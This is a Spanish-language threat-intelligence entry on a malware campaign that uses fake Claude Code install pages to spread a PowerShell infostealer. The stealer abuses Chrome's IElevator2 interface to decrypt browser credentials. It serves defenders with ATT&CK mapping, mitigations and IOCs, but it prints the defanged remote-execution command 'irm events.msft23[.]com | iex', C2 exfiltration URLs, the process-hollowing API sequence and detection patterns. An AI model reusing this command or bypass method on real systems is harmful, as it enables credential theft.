Fake Claude Code Installer Campaign (PowerShell Infostealer / Chrome ABE Bypass)

Fake Claude Code Installer Campaign es una campaña de malware no documentada descubierta por el Centro de Ciberdefensa de Ontinue, dirigida específicamente a desarrolladores de software mediante páginas de instalación falsas que imitan herramientas legítimas de IA, particularmente Claude Code de Anthropic. La campaña, activa desde principios de 2026, explota la creciente adopción de herramientas de desarrollo asistidas por IA. El ataque comienza cuando un desarrollador busca "install Claude Code" y hace clic en un resultado patrocinado (anuncio) que lleva a una página falsa que replica la documentación oficial de Claude Code. Mientras que el comando de instalación legítimo utiliza el host claude.ai, la versión falsa utiliza events.msft23[.]com. Al ejecutar el comando Invoke-RestMethod | iex, se descarga un cargador de PowerShell altamente ofuscado de 600 KB desde mt7263[.]com/gate/start/. El malware primero verifica la configuración regional de Windows y se detiene inmediatamente si el equipo se encuentra en países como Rusia, Irán, Ucrania, Azerbaiyán, Armenia, Bielorrusia, Georgia, Kazajistán, Kirguistán, Moldavia, Tayikistán, Turkmenistán o Uzbekistán (15 países de la CEI e Irán). Si la ubicación no está en la lista de exclusión, el malware busca navegadores de la familia Chromium (Chrome, Edge, Brave, Vivaldi, Perplexity Comet, Helium, Arc, Opera, Opera GX) para robar la clave app_bound_encrypted_key (v20) y la clave encrypted_key (v10). Para eludir el Cifrado Vinculado a la Aplicación (App-Bound Encryption - ABE) de Google Chrome (introducido en Chrome 127 en julio de 2024), el cargador utiliza un auxiliar nativo de 4.6 KB llamado payload_x64.bin (compilado el 24 de marzo de 2026), que se inyecta en un proceso de navegador activo mediante la técnica de "process hollowing". Este auxiliar invoca la interfaz COM IElevator2 del Servicio de Elevación del navegador para descifrar las claves. Un hallazgo interesante es que los atacantes cometieron un error tipográfico en el código para Microsoft Edge: utilizaron el número 4740 en lugar del canónico 4047 en el identificador de interfaz (IID), lo que provoca que el primer intento falle en Edge 144, pero el malware simplemente recurre a la interfaz anterior IElevator, que aún funciona. Una vez recuperada la clave de 32 bytes, el cargador de PowerShell descifra las cookies, contraseñas y métodos de pago de las bases de datos SQLite de los navegadores y crea un archivo ZIP en memoria llamado secure_prefs.zip, que se exfiltra a mt7263[.]com/gate/init/c09d19a0/. El malware también configura una tarea programada de Windows que se ejecuta cada minuto para consultar nuevos comandos en mt7263[.]com/gate/auto/c09d19a0/. Los investigadores de Ontinue confirmaron que esta carga útil no coincide con ninguna familia de malware documentada (no es Lumma, Glove Stealer, StealC, Vidar, etc.), lo que sugiere una operación mantenida y orientada a la comercialización que hasta ahora no figura en la taxonomía pública. La campaña demuestra una rápida adaptación a los cambios de Chromium: los atacantes añadieron soporte para la interfaz IElevator2 dentro de los sesenta días posteriores al lanzamiento de Chrome 144 en enero de 2026. Expertos del sector advierten que los desarrolladores son objetivos de alto valor porque poseen las claves de los activos más sensibles de una organización, incluyendo código fuente y entornos en la nube.

Nombres Alternativos / Aliases

Fake Claude Code Campaign (Por el señuelo principal)
Ontinue PowerShell Stealer (Por el equipo que lo descubrió)
Claude Code ABE Bypass Malware (Por la técnica de evasión)
mt7263 Infostealer Operation (Por la infraestructura C2)
Developer-Targeted Malware Campaign (Por el perfil de víctima)

Fecha de Detección / Actividad

Fecha de Compilación del Payload Nativo: 24 de marzo de 2026
Registro de Dominios: msft23[.]com registrado el 7 de abril de 2026; certificados TLS de Let's Encrypt el 13 de abril de 2026
Período de Actividad: Desde principios de 2026 (casos documentados desde enero/febrero)
Fecha de Publicación del Análisis: 12 de mayo de 2026
Estado: Activo. La campaña sigue operando y evolucionando.

Actor de Amenaza (Atribución)

Nombre del Actor: No atribuido a un grupo específico.
Tipo de Actor: Operador de malware comercial orientado a la monetización (infostealer como servicio o operación independiente).
Sofisticación: Alta. Los atacantes demuestran capacidades significativas: (a) uso de resultados patrocinados (anuncios) en motores de búsqueda para distribuir páginas falsas, (b) ofuscación avanzada de PowerShell (600 KB con código muerto, fragmentos de cadenas, identificadores aleatorios), (c) exclusión geográfica de 15 países (CEI e Irán), (d) implementación de la técnica de process hollowing para inyectar el auxiliar nativo, (e) abuso de la interfaz COM IElevator2 para eludir el App-Bound Encryption de Chrome, (f) compatibilidad con la nueva interfaz IElevator2 en un plazo de 60 días desde su lanzamiento (rápida adaptación), (g) uso de múltiples dominios (events.msft23[.]com, mt7263[.]com) con Cloudflare y certificados Let's Encrypt, (h) persistencia mediante tareas programadas, y (i) exfiltración de datos mediante HTTP PUT. El error tipográfico en el IID de Edge (4740 en lugar de 4047) es una peculiaridad que sirve como firma de detección.

Resumen Ejecutivo

Fake Claude Code Installer Campaign es una campaña de malware altamente dirigida y técnicamente sofisticada que explota la confianza de los desarrolladores en herramientas de IA legítimas. Descubierta por Ontinue, la campaña utiliza páginas de instalación falsas que imitan la documentación oficial de Claude Code de Anthropic. Los desarrolladores que buscan "install Claude Code" son atraídos por resultados patrocinados (anuncios) que llevan a sitios falsos. Mientras que el comando legítimo utiliza claude.ai, el falso utiliza events.msft23[.]com. El comando Invoke-RestMethod | iex descarga un cargador de PowerShell de 600 KB altamente ofuscado desde mt7263[.]com/gate/start/. Este cargador primero evalúa la configuración regional de Windows y se detiene inmediatamente si el equipo se encuentra en países de la CEI (Rusia, Ucrania, Bielorrusia, etc.) o Irán (15 países en total), una técnica común para evitar la detección por parte de investigadores de seguridad con sede en esas regiones o para limitar el objetivo geográfico. Si la ubicación no está excluida, el cargador enumera navegadores de la familia Chromium: Chrome, Edge, Brave, Vivaldi, Perplexity Comet, Helium, Arc, Opera y Opera GX. Para cada navegador, extrae la clave app_bound_encrypted_key (v20) y la clave encrypted_key (v10). Para las instalaciones protegidas por ABE (Chrome 127+), el cargador necesita eludir el cifrado. Para ello, utiliza un auxiliar nativo de 4,608 bytes llamado payload_x64.bin (compilado el 24 de marzo de 2026) que se inyecta en un proceso de navegador activo mediante process hollowing (CreateProcess con CREATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread). Este auxiliar nativo, que no tiene persistencia, E/S de archivos ni capacidades de red, tiene un único propósito: actuar como "oráculo ABE" . Se comunica a través de una tubería con nombre camuflada como Mojo (\\.\pipe\mojo.%d.%d.%d) y espera a que el cargador de PowerShell envíe el blob de clave cifrada. Luego, el auxiliar invoca la interfaz COM IElevator2 (o IElevator como reserva) del Servicio de Elevación del navegador para descifrar la clave. Un hallazgo notable es un error tipográfico en el código para Edge: el IID tiene 4740 en lugar del canónico 4047, lo que hace que la llamada inicial a CoCreateInstance falle silenciosamente, activando la reserva a la interfaz IElevator heredada (el descifrado aún funciona, pero genera una firma de detección única). Una vez que el cargador recibe la clave descifrada de 32 bytes, procede a descifrar las cookies, contraseñas guardadas y métodos de pago de las bases de datos SQLite de cada navegador. Los datos robados se comprimen en un archivo ZIP en memoria llamado secure_prefs.zip y se exfiltran mediante HTTP PUT a mt7263[.]com/gate/init/c09d19a0/. Para establecer persistencia, el cargador crea una tarea programada de Windows con un intervalo de repetición de 1 minuto (PT1M) que ejecuta conhost --headless powershell para sondear mt7263[.]com/gate/auto/c09d19a0/ en busca de comandos adicionales. La respuesta del servidor puede contener encabezados x-filename y x-task que determinan acciones posteriores. Los investigadores de Ontinue compararon esta muestra con familias de malware conocidas (Lumma, StealC, Vidar, Glove Stealer, etc.) y no encontraron ninguna coincidencia técnica. La técnica más similar es Glove Stealer (Gen Digital, noviembre de 2024), pero esta muestra difiere en seis aspectos clave: el orquestador es PowerShell (no .exe nativo), no escribe artefactos en disco, soporta IElevator2 con reserva, y el auxiliar actúa como servidor de tubería (no como cliente). La rápida adaptación a IElevator2 (dentro de 60 días del lanzamiento de Chrome 144) indica un desarrollo activo y mantenido, no una simple copia de código público. Expertos del sector, como Vineeta Sangaraju (Black Duck) y John Gallagher (Viakoo Labs), advierten que los desarrolladores son objetivos de alto valor porque una estación de trabajo comprometida permite a los atacantes acceder a código fuente, entornos en la nube y flotas enteras de dispositivos IoT mediante credenciales robadas.

Vectores de Ataque / Métodos de Distribución

Resultados Patrocinados (Anuncios) en Motores de Búsqueda: El desarrollador busca "install Claude Code" y hace clic en un resultado patrocinado (anuncio) que lleva a una página falsa.
Página de Instalación Falsa: La página replica la documentación oficial de Claude Code, mostrando un comando de instalación que reemplaza el host legítimo claude.ai por events.msft23[.]com.
Comando de PowerShell Ingeniería Social: El usuario copia y pega el comando irm events.msft23[.]com | iex en su terminal, ejecutando el cargador malicioso.
Cadena de Descarga Multi-Etapa: El primer script (events.msft23[.]com) redirige a un cargador de PowerShell ofuscado en mt7263[.]com/gate/start/.
Exclusión Geográfica: El malware verifica la configuración regional de Windows y se detiene si está en 15 países (incluyendo Rusia, Irán, Ucrania, etc.).
Process Hollowing para Inyección de Auxiliar: El cargador inyecta el binario nativo payload_x64.bin en un proceso de navegador activo mediante process hollowing.

Técnicas, Tácticas y Procedimientos (TTPs) - MITRE ATT&CK

Táctica (MITRE ATT&CK)	Técnica / Subtécnica	Descripción / Implementación
Initial Access (TA0001)	Phishing (T1566) - Spearphishing Link (T1566.002)	Resultados patrocinados en motores de búsqueda que llevan a páginas de instalación falsas.
Execution (TA0002)	Command and Scripting Interpreter: PowerShell (T1059.001)	Ejecución del cargador de PowerShell ofuscado de 600 KB.
Execution (TA0002)	User Execution: Malicious Link (T1204.001) / Command (T1204.002)	El usuario copia y pega el comando malicioso en la terminal.
Execution (TA0002)	Native API (T1106)	Process hollowing (CreateProcess, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread).
Persistence (TA0003)	Scheduled Task/Job: Scheduled Task (T1053.005)	Tarea programada de Windows con intervalo PT1M para sondear C2.
Defense Evasion (TA0005)	Obfuscated Files or Information (T1027)	PowerShell de 600 KB con código muerto, fragmentos de cadenas de matrices de enteros, identificadores aleatorios.
Defense Evasion (TA0005)	Process Injection: Process Hollowing (T1055.012)	Inyección del auxiliar nativo en procesos de navegador.
Defense Evasion (TA0005)	Virtualization/Sandbox Evasion (T1497) - System Checks (T1497.001)	Exclusión geográfica basada en configuración regional de Windows (15 países).
Defense Evasion (TA0005)	Subvert Trust Controls: Code Signing (T1553.002)	No aplica (no se menciona firma de código).
Defense Evasion (TA0005)	Deobfuscate/Decode Files or Information (T1140)	El cargador descifra y evalúa el código ofuscado.
Credential Access (TA0006)	Credentials from Password Stores: Browser (T1555.003)	Robo de cookies, contraseñas y métodos de pago de navegadores Chromium.
Credential Access (TA0006)	Steal Web Session Cookie (T1539)	Robo de cookies de sesión de navegadores.
Discovery (TA0007)	System Information Discovery (T1082)	Recuperación de SID, MachineGuid, configuración regional.
Discovery (TA0007)	Application Window Discovery (T1010)	No aplica directamente.
Collection (TA0009)	Data from Local System (T1005)	Recopilación de bases de datos SQLite de navegadores (cookies, contraseñas, métodos de pago).
Collection (TA0009)	Archive Collected Data (T1560) - Archive via Library (T1560.002)	Creación de `secure_prefs.zip` en memoria mediante System.IO.Compression.ZipArchive.
Command and Control (TA0011)	Application Layer Protocol: Web Protocols (T1071.001)	HTTPS a mt7263[.]com (Cloudflare).
Command and Control (TA0011)	Encrypted Channel (T1573)	TLS (certificados Let's Encrypt).
Exfiltration (TA0010)	Exfiltration Over C2 Channel (T1041)	HTTP PUT a mt7263[.]com/gate/init/c09d19a0/.
Exfiltration (TA0010)	Exfiltration Over Web Service (T1567)	No aplica.

Flujo de Ataque (Cyber Kill Chain)

Reconocimiento: Los atacantes identifican que los desarrolladores buscan "install Claude Code" y crean resultados patrocinados en motores de búsqueda.
Armamento: Los atacantes desarrollan: (a) página falsa que imita la documentación de Claude Code, (b) cargador de PowerShell ofuscado de 600 KB, (c) auxiliar nativo payload_x64.bin de 4.6 KB, (d) infraestructura C2 en events.msft23[.]com y mt7263[.]com.
Entrega: El desarrollador hace clic en el resultado patrocinado y llega a la página falsa.
Explotación: El desarrollador copia y pega el comando irm events.msft23[.]com | iex, ejecutando el cargador de PowerShell.
Instalación:
- El cargador verifica la configuración regional; si está excluida, se detiene.
- Enumeración de navegadores Chromium.
- Inyección del auxiliar nativo mediante process hollowing en un proceso de navegador.
- El auxiliar se comunica mediante tubería con nombre, invoca IElevator2/IElevator para descifrar la clave ABE.
- El cargador descifra cookies, contraseñas y métodos de pago.
- Crea secure_prefs.zip en memoria.
- Exfiltra el archivo a mt7263[.]com.
- Crea tarea programada para persistencia (sondeo cada minuto).
Comando y Control (C2): HTTPS a mt7263[.]com/gate/init/ y /gate/auto/.
Acción sobre Objetivos: Robo de credenciales de navegador (cookies, contraseñas, métodos de pago), permitiendo a los atacantes secuestrar sesiones, acceder a cuentas corporativas y potencialmente pivotar a entornos en la nube.

Infraestructura Utilizada

Tipo	Indicador / Característica	Propósito
Dominio Señuelo	`events.msft23[.]com` (registrado 7 abril 2026, Cloudflare, Let's Encrypt)	Host del script de PowerShell inicial (limpio, redirecciona).
Dominio C2	`mt7263[.]com` (Cloudflare, Let's Encrypt)	Host del cargador ofuscado, exfiltración y sondeo de tareas.
Página Falsa	Página que imita la documentación de Claude Code	Muestra el comando malicioso al desarrollador.
Payload Nativo	`payload_x64.bin` (4,608 bytes, SHA256: 54ab86b72423832e1d821e19486844375e1428079e1622f1c967d5a66bdc0b48)	Auxiliar para descifrar claves ABE a través de IElevator2/IElevator.
Cargador PowerShell	600 KB altamente ofuscado	Orquestador principal: exclusión geográfica, enumeración de navegadores, process hollowing, descifrado, empaquetado, exfiltración, persistencia.
Tubería con Nombre	`\\.\pipe\mojo.%d.%d.%d` (camuflaje Mojo)	Comunicación entre cargador PowerShell y auxiliar nativo.
Tarea Programada	Repetición PT1M (cada minuto)	Persistencia y sondeo de comandos adicionales.

Objetivos y Sectores Afectados

Objetivo Principal: Desarrolladores de software que utilizan herramientas de desarrollo asistidas por IA (específicamente Claude Code de Anthropic).
Sector Prioritario: Tecnología, Desarrollo de Software, DevOps, Ingeniería de IA.
Perfiles de Víctima: Desarrolladores individuales, equipos de ingeniería en startups y grandes empresas tecnológicas.
Navegadores Afectados: Chrome, Edge, Brave, Vivaldi, Perplexity Comet, Helium, Arc, Opera, Opera GX (todos los navegadores de la familia Chromium).
Datos Robados: Cookies de sesión, contraseñas guardadas, métodos de pago (tarjetas de crédito), datos de formularios.
Exclusión Geográfica: Los sistemas con configuración regional de los siguientes países no son atacados: Azerbaiyán (AZ), Armenia (AM), Bielorrusia (BY), Georgia (GE), Kazajistán (KZ), Kirguistán (KG), Moldavia (MD), Rusia (RU), Tayikistán (TJ), Turkmenistán (TM), Uzbekistán (UZ), Ucrania (UA), Irán (IR).

Impacto y Riesgo

Nivel de Riesgo: Crítico para organizaciones de desarrollo de software. Una estación de trabajo de desarrollador comprometida puede llevar a la exposición de código fuente, credenciales de la nube y acceso a entornos de producción.
Impacto Potencial (Desarrolladores/Organizaciones):
- Robo de Credenciales Corporativas: Los desarrolladores a menudo tienen credenciales guardadas en navegadores para acceder a sistemas internos (Jira, GitHub, GitLab, AWS Console, GCP, Azure DevOps). El robo de estas credenciales permite a los atacantes acceder a código fuente, pipelines de CI/CD y entornos en la nube.
- Secuestro de Sesión (MFA Bypass): Las cookies de sesión robadas permiten a los atacantes eludir la autenticación multifactor (MFA), ya que la sesión ya está autenticada.
- Acceso a Propiedad Intelectual: El código fuente de productos, bibliotecas propietarias y algoritmos de IA pueden ser robados.
- Compromiso de la Cadena de Suministro: Un desarrollador comprometido puede ser utilizado para introducir backdoors en el código base, afectando a todos los clientes o usuarios finales de los productos de software.
- Pivote a Infraestructura de IoT/Dispositivos: John Gallagher (Viakoo Labs) advirtió que si un técnico que gestiona flotas de dispositivos IoT es comprometido, el atacante obtiene credenciales para gestionar toda la flota.
Contexto de Ataque a Desarrolladores: Vineeta Sangaraju (Black Duck) señaló que los desarrolladores son objetivos de alto valor porque "poseen las claves de los activos más sensibles de una organización" y una estación de trabajo comprometida "no permanece aislada".
Novedad Técnica: La campaña demuestra una rápida adaptación a los cambios en Chromium (IElevator2 en 60 días) y una división de arquitectura (carga útil maliciosa en PowerShell, auxiliar nativo mínimo) que dificulta la detección por parte de soluciones de seguridad basadas en comportamiento.

Recomendaciones de Mitigación

Restricción y Monitorización de PowerShell (M1038, M1040):
- Aplicar modo de lenguaje restringido de PowerShell (Constrained Language Mode) para limitar la capacidad de ejecutar scripts arbitrarios.
- Habilitar la regla ASR (Attack Surface Reduction) para bloquear la ejecución de scripts potencialmente ofuscados.
- Habilitar el registro de bloques de scripts de PowerShell (Event ID 4104) y el registro de módulos.
- Verificar que AMSI esté habilitado y monitorear eventos de manipulación de AMSI.
Protección contra Process Hollowing e Inyección de Procesos (M1040):
- Utilizar soluciones EDR que detecten la secuencia canónica de process hollowing (CreateProcess con CREATE_SUSPENDED, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread).
- Monitorear llamadas COM inusuales, especialmente a interfaces del Servicio de Elevación (IElevator2, IElevator).
Seguridad para Desarrolladores y MFA Resistente al Phishing (M1032, M1017):
- Requerir autenticación MFA resistente al phishing (FIDO2/WebAuthn, claves de seguridad) para todas las cuentas de desarrollador y administrador. Las cookies de sesión robadas siguen siendo un riesgo, pero la MFA resistente al phishing limita el acceso inicial.
- Educar a los desarrolladores sobre los riesgos de copiar comandos de páginas web no verificadas, incluso si parecen legítimas. Verificar siempre la URL del host.
Bloqueo de Infraestructura Conocida (M1037):
- Bloquear los dominios events.msft23[.]com y mt7263[.]com a nivel de red (firewall, proxy, DNS sinkhole).
- Bloquear la categoría de "Dominios recién registrados" (Newly Registered Domains) mediante filtrado de contenido web (MDE Web Content Filtering).
Rotación Automatizada de Credenciales (M1026):
- Implementar métodos automatizados de rotación de credenciales para cuentas de servicio y dispositivos (especialmente para flotas de IoT, como sugiere John Gallagher).
- Utilizar soluciones sin agente (agentless) para eliminar el riesgo de instaladores maliciosos en endpoints.

Herramientas de Detección

EDR / XDR: Soluciones como CrowdStrike, SentinelOne, Microsoft Defender for Endpoint pueden detectar:
- Process hollowing (secuencia de llamadas API).
- Inyección de código en procesos de navegador.
- Ejecución de PowerShell con ofuscación y comportamiento anómalo (acceso a bases de datos SQLite, creación de tareas programadas).
- Llamadas COM a IElevator2/IElevator desde procesos no autorizados.
PowerShell Logging (Event ID 4104): Monitorear eventos de bloque de scripts de PowerShell para detectar comandos que descargan y ejecutan código remoto (Invoke-RestMethod, iex).
Monitoreo de Tuberías con Nombre (Named Pipes): Detectar la creación de tuberías con el patrón \\.\pipe\mojo.%d.%d.%d con el tercer campo igual a valores específicos (0x03ee0040 para Chrome, 0x03e50040 para Edge, etc.), que es una firma única de este auxiliar.
SIEM: Correlacionar eventos de PowerShell, creación de procesos, creación de tareas programadas y tráfico de red hacia mt7263[.]com.
Herramientas de Decodificación de PowerShell: Utilizar scripts de Python personalizados (como los desarrollados por Ontinue) para desofuscar el cargador de PowerShell mediante evaluación secuencial de subexpresiones.

Referencias y Fuentes

Ahmed, D. (2026, 12 de mayo). Un instalador falso de Claude Code ataca a desarrolladores con un programa para robar credenciales de navegador. Hackread.com. (Artículo proporcionado por el usuario).
Ontinue Cyber Defense Center. (2026). Behind a Fake Claude Code Installer: Undocumented PowerShell Infostealer Abuses Chrome's IElevator2. (Análisis técnico proporcionado por el usuario).
Sangaraju, V. (2026). Black Duck AI Research Engineer. (Declaración citada en el artículo).
Gallagher, J. (2026). Viakoo Labs Vice President. (Declaración citada en el artículo).
MITRE ATT&CK Framework. Enterprise Matrix. (Para mapeo de TTPs).

Historial de Revisiones

Fecha	Versión	Autor	Cambios Realizados
2026-05-13	1.0	Fernando Vargas Hincapie	Creación inicial de la entrada basada en el análisis de Ontinue sobre la campaña de instalador falso de Claude Code.

Indicadores de Compromiso (IOCs)

Tipo	Valor
Dominio Señuelo (Fake Install Page)	`events.msft23[.]com`
Dominio C2	`mt7263[.]com`
Registro de Dominios	msft23[.]com registrado el 7 de abril de 2026; mt7263[.]com registrado en abril de 2026
Certificados TLS	Let's Encrypt (13 de abril de 2026)
CDN/Proxy	Cloudflare
Hash SHA256 (Auxiliar Nativo x64)	`54ab86b72423832e1d821e19486844375e1428079e1622f1c967d5a66bdc0b48`
Hash SHA256 (Auxiliar Nativo x86)	No especificado (similar al x64, imphash compartido)
Imphash (Auxiliar Nativo)	`551c967b0ddbc198545038c596a3c10d`
Fecha de Compilación del Auxiliar	24 de marzo de 2026, 19:53:16 UTC
Tamaño del Auxiliar	4,608 bytes
SHA256 (Cargador PowerShell - Etapa 1)	`b9702ecf2928354dfc32e25468848408de40b82d237f83953fdc6d6d655050ef` (events.msft23[.]com/install.ps1 - limpio)
Tamaño del Cargador PowerShell (Etapa 2)	~600 KB (ofuscado)
Host Legítimo (Señuelo)	`claude.ai` (el atacante imita este host)
Host Malicioso (Señuelo)	`events.msft23[.]com`
URL de Exfiltración	`mt7263[.]com/gate/init/c09d19a0/`
URL de Sondeo (Persistencia)	`mt7263[.]com/gate/auto/c09d19a0/`
Patrón de Tubería con Nombre	`\\.\pipe\mojo.%d.%d.%d` (tercer campo hash específico del navegador)
Valor Mágico de Tubería	`0x42505041` (`APPB` en ASCII)
Países Excluidos (15)	AZ, AM, BY, GE, KZ, KG, MD, RU, TJ, TM, UZ, UA, IR (CEI e Irán)
Navegadores Afectados	Chrome, Edge, Brave, Vivaldi, Perplexity Comet, Helium, Arc, Opera, Opera GX
Interfaz COM Abusada	IElevator2 (nueva), IElevator (reserva)
CLSID Chrome Elevation Service	`{708860E0-F641-4611-8895-7D867DD3675B}`
IID Chrome IElevator2	`{1BF5208B-295F-4992-B5F4-3A9BB6494838}`
IID Edge IElevator2 (incorrecto, con error)	`{8F7B6792-784D-4740-845D-1782EFBEF205}` (4740 en lugar de 4047)
IID Edge IElevator2 (canónico)	`{8F7B6792-784D-4047-845D-1782EFBEF205}`
Persistencia	Tarea programada de Windows con intervalo PT1M (cada minuto)
Archivo Exfiltrado	`secure_prefs.zip` (creado en memoria)
Método de Exfiltración	HTTP PUT (multipart/form-data)
User-Agent	`WindowsPowerShell` (por defecto de Invoke-RestMethod)
Comportamiento Anómalo (PowerShell)	`Invoke-RestMethod` a `events.msft23[.]com` o `mt7263[.]com`
Comportamiento Anómalo (Process)	Process hollowing en procesos de navegador (chrome.exe, msedge.exe, brave.exe, etc.)
Comportamiento Anómalo (Named Pipe)	Creación de `\\.\pipe\mojo.*` con el tercer campo hash específico
Comportamiento Anómalo (Tarea Programada)	Tarea que ejecuta `conhost --headless powershell` cada minuto
Comportamiento Anómalo (Archivos)	Acceso a bases de datos SQLite de navegadores (Cookies, Login Data, Web Data)

Etiquetas / Categorías

claude-code fake-installer powershell-malware infostealer chrome-abe app-bound-encryption ielevator2 process-hollowing developer-targeted ontinue ontinue-cyber-defense mt7263 msft23 cloudflare lets-encrypt chromium `